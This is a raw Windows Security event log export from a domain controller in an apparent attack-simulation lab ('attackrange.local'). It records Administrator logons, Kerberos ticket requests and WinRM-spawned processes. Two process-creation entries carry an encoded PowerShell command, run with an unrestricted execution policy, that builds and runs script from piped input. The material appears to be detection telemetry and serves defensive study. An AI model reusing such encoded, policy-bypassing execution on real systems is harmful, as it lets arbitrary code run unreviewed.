	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251536
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251535
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138B8A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251534
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138B8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251533
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251532
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251531
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251530
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251529
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Process Information:
	New Process ID:		0xed8
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251528
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251527
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251526
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251525
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251524
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251523
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138905

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251522
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13674B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251521
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13699B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251520
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138905

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251519
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x138905
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{860332EA-2668-4D0B-E636-419ED9D2C753}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
